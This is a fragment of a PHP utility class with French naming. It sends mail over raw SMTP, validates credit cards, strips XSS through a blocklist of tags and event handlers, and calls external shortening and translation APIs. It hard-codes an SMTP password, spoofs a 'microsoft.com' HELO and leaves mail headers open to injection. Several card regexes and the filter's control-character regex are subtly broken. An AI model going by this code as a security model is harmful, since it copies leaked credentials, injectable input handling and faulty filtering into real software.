			$mdp = "m@rm0tt3s";
			
			if (!$smtp_sock = fsockopen($smtp_serveur, 25)) 
				GP_debug::erreur("Impossible d'ouvrir le smtp");

			fputs($smtp_sock, "HELO microsoft.com\r\n");
			$rep = fgets($smtp_sock, 1024);
			$rep .= "<br />";
			fputs($smtp_sock, "NOOP\r\n");
			$rep .= fgets($smtp_sock, 1024) . '<br />';
			if (strlen($smtp_login) && strlen($mdp))
			{
				$b64u = base64_encode($smtp_login);
				$p64 = base64_encode($mdp);
				fputs($smtp_sock, "AUTH LOGIN\r\n");
				$rep .= fgets($smtp_sock, 1024);
				$rep .= "<br />";
				fputs($smtp_sock, $b64u."\r\n");
				$rep .= fgets($smtp_sock, 1024);
				$rep .= "<br />";
				fputs($smtp_sock, $p64."\r\n");
				$rep .= fgets($smtp_sock, 1024);
				$rep .= "<br />";
			}
			fputs($smtp_sock, "MAIL FROM: $f\r\n");
			$rep .= fgets($smtp_sock, 1024) . '<br />';
			fputs($smtp_sock, "RCPT TO: ".$to."\r\n");
			$rep .= fgets($smtp_sock, 1024) . '<br />';
			fputs($smtp_sock, "DATA\r\n");
			$rep .= fgets($smtp_sock, 1024) . '<br />';
			fputs($smtp_sock, "Subject: ".$sujet."\r\n");
			fputs($smtp_sock, "To: ".$to."\r\n");
			fputs($smtp_sock, $entetes."\r\n");
			fputs($smtp_sock, $message);
			fputs($smtp_sock, "\r\n.\r\n");
			$rep .= fgets($smtp_sock, 1024) . '<br />';
			fputs($smtp_sock, "QUIT\r\n");
			$final_rep = fgets($smtp_sock, 1024);
			$code = substr($final_rep, 0, 3);
			fclose($smtp_sock);
			if ($code == 250)
				return true;
			else
				GP_debug::erreur($rep);
			return false;
		}
		
		function courriel_is_valid($courriel) 
		{
			if (preg_match(COURRIEL_VALIDE, $courriel)) 
				return $courriel;
			return false;
		}
		
		function shorturl($url)
		{
			$url = 'http://is.gd/api.php?longurl=' . $url;
			return $this -> html($url);
		}
		
		function GP_CreditCard($valeur, $type = "") 
		{
			if (strval($valeur) == "")	
				return 1;
			$creditcard = array(
				"visa" => "/^4\d{3}[ -]?\d{4}[ -]?\d{4}[ -]?\d{4}$/",
				"mastercard" => "/^5[1-5]\d{2}[ -]?\d{4}[ -]?\d{4}[ -]?\d{4}$/",
				"discover" => "/^6011[ -]?\d{4}[ -]?\d{4}[ -]?\d{4}$/",
				"amex" => "/^3[4,7]\d{13}$/",
				"diners" => "/^3[0,6,8]\d{12}$/",
				"bankcard" => "/^5610[ -]?\d{4}[ -]?\d{4}[ -]?\d{4}$/",
				"jcb" => "/^[3088|3096|3112|3158|3337|3528]\d{12}$/",
				"enroute" => "/^[2014|2149]\d{11}$/",
				"switch" => "/^[4903|4911|4936|5641|6333|6759|6334|6767]\d{12}$/"
			);
			
			if (empty($type))	
			{
				$match = 0;
				foreach ($creditcard as $type => $pattern) 
				{
					if (@preg_match($pattern, $valeur) == 1) 
					{
						$match = 1;
						break;
					}
				}
				return ($match) ? self::GP_CheckSum($valeur) : 0;
			}
			
			else 
			{
				if (!preg_match($creditcard[strtolower(trim($type))], $valeur)) 
					return 0;
				return self::GP_CheckSum($valeur);
			}
		}
		
		function GP_CheckSum($valeur) 
		{
			$valeur = str_replace(array('-',' '), array('',''), $valeur);
			$checksum = 0;
			for ($i = (2 - (strlen($valeur) % 2)) ; $i <= strlen($valeur) ; $i += 2)
				$checksum += (int)($valeur[$i - 1]);
			for ($i = (strlen($valeur) % 2) + 1 ; $i < strlen($valeur) ; $i += 2) 
			{
				$digit = (int)($valeur[$i - 1]) * 2;
				$checksum += ($digit < 10) ? $digit : ($digit - 9);
			}
			return ($checksum % 10 == 0);
		}
		
		function GP_SupprimerXSS($valeur) 
		{
			$valeur = preg_replace('/([\x00-\x08][\x0b-\x0c][\x0e-\x20])/', '', $valeur); 

			$recherche = 'abcdefghijklmnopqrstuvwxyz'; 
			$recherche .= 'ABCDEFGHIJKLMNOPQRSTUVWXYZ'; 
			$recherche .= '1234567890!@#$%^&*()'; 
			$recherche .= '~`";:?+/={}[]-_|\'\\'; 
			for ($i = 0 ; $i < strlen($recherche) ; $i++) 
			{ 
			   $valeur = preg_replace('/(&#[x|X]0{0,8}' . dechex(ord($recherche[$i])) . ';?)/i', $recherche[$i], $valeur);
			   $valeur = preg_replace('/(&#0{0,8}' . ord($recherche[$i]) . ';?)/', $recherche[$i], $valeur);
			} 

			$ra = array(
				'javascript', 
				'vbscript', 
				'expression', 
				'<applet', 
				'<meta', 
				'<xml', 
				'<blink', 
				'<link', 
				'<style', 
				'<script', 
				'<embed', 
				'<object', 
				'<iframe', 
				'<frame', 
				'<frameset', 
				'<ilayer', 
				'<layer', 
				'<bgsound', 
				'<title', 
				'<base',
				'onabort', 
				'onactivate', 
				'onafterprint', 
				'onafterupdate', 
				'onbeforeactivate', 
				'onbeforecopy', 
				'onbeforecut', 
				'onbeforedeactivate', 
				'onbeforeeditfocus', 
				'onbeforepaste', 
				'onbeforeprint', 
				'onbeforeunload', 
				'onbeforeupdate', 
				'onblur', 
				'onbounce', 
				'oncellchange', 
				'onchange', 
				'onclick', 
				'oncontextmenu', 
				'oncontrolselect', 
				'oncopy', 
				'oncut', 
				'ondataavailable', 
				'ondatasetchanged', 
				'ondatasetcomplete', 
				'ondblclick', 
				'ondeactivate', 
				'ondrag', 
				'ondragend', 
				'ondragenter', 
				'ondragleave', 
				'ondragover', 
				'ondragstart', 
				'ondrop', 
				'onerror', 
				'onerrorupdate', 
				'onfilterchange', 
				'onfinish', 
				'onfocus', 
				'onfocusin', 
				'onfocusout', 
				'onhelp', 
				'onkeydown', 
				'onkeypress', 
				'onkeyup', 
				'onlayoutcomplete', 
				'onload', 
				'onlosecapture', 
				'onmousedown', 
				'onmouseenter', 
				'onmouseleave', 
				'onmousemove', 
				'onmouseout', 
				'onmouseover', 
				'onmouseup', 
				'onmousewheel', 
				'onmove', 
				'onmoveend', 
				'onmovestart', 
				'onpaste', 
				'onpropertychange', 
				'onreadystatechange', 
				'onreset', 
				'onresize', 
				'onresizeend', 
				'onresizestart', 
				'onrowenter', 
				'onrowexit', 
				'onrowsdelete', 
				'onrowsinserted', 
				'onscroll', 
				'onselect', 
				'onselectionchange', 
				'onselectstart', 
				'onstart', 
				'onstop', 
				'onsubmit', 
				'onunload'
			);
			
			$trouve = true; 
			while ($trouve == true) 
			{
				$val_avant = $valeur; 
				for ($i = 0 ; $i < sizeof($ra) ; $i++) 
				{ 
					$pattern = '/'; 
					for ($j = 0 ; $j < strlen($ra[$i]) ; $j++) 
					{ 
						if ($j > 0) 
						{ 
							$pattern .= '('; 
							$pattern .= '(&#[x|X]0{0,8}([9][a][b]);?)?'; 
							$pattern .= '|(&#0{0,8}([9][10][13]);?)?'; 
							$pattern .= ')?'; 
						} 
						$pattern .= $ra[$i][$j]; 
					} 
					$pattern .= '/i'; 
					$replacement = substr($ra[$i], 0, 2) . '<x>' . substr($ra[$i], 2);
					$valeur = preg_replace($pattern, $replacement, $valeur);
					if ($val_avant == $valeur)
						$trouve = false;  
				} 
			} 
			return $valeur; 
		}
		
		function traduire($langue_depart = 'en', $langue_arrivee = 'fr', $phrase = 'Hello world')
		{
			$phrase = urlencode($phrase);
			$phrase_traduite = stripslashes(implode('', file("http://ajax.googleapis.com/ajax/services/language/translate?v=1.0&q=" . $phrase . "&langpair=" . $langue_depart . "|" . $langue_arrivee)));
			$phrase_traduite = utf8_decode(urldecode((self::trouver('translatedText":"', '"', $phrase_traduite))));
			$phrase_traduite = @ereg_replace('u0026', '&', $phrase_traduite);
			$phrase_traduite = @ereg_replace('u003c', '<', $phrase_traduite);
			$phrase_traduite = @ereg_replace('u003d', '>', $phrase_traduite);
			return $phrase_traduite;
		}
		
		Function captchaswf($stype = 'alphanum', $ct = 6)
		{
			$i = 1;
			$randStr = "";
			$randNum = "";
			$useList = "";
			$alpha = "A,B,C,D,E,F,G,H,I,J,K,L,M,N,P,Q,R,S,T,U,V,W,X,Y,Z,a,b,c,d,e,f,g,h,i,j,k,l,m,n,o,p,q,r,s,t,u,v,w,x,y,z";
			$secure = "!,@,$,%,&,*,-,_,=,+,?,~";
			if($stype == "alpha")
			{
				$randNum = 52;
				$useList = $alpha;
			}
			else if($stype == "alphanum")
			{
				$randNum = 62;
				$useList = $alpha . ",1,2,3,4,5,6,7,8,9";
			}
			else if($stype == "secure")
			{
				$randNum = 73;
				$useList = $alpha . ",0,1,2,3,4,5,6,7,8,9," . $secure;
			}
			else
			{
				$randNum = 10;
				$useList = "0,1,2,3,4,5,6,7,8,9";
			}

			$arr = array();
			$arr = explode(",", $useList);
			$randNum = count($arr);
			for($i = 0 ; $i < $ct ; $i++)
				$randStr = $randStr . $arr[rand(0, $randNum - 1)];
			return $randStr;
		}
	}
?>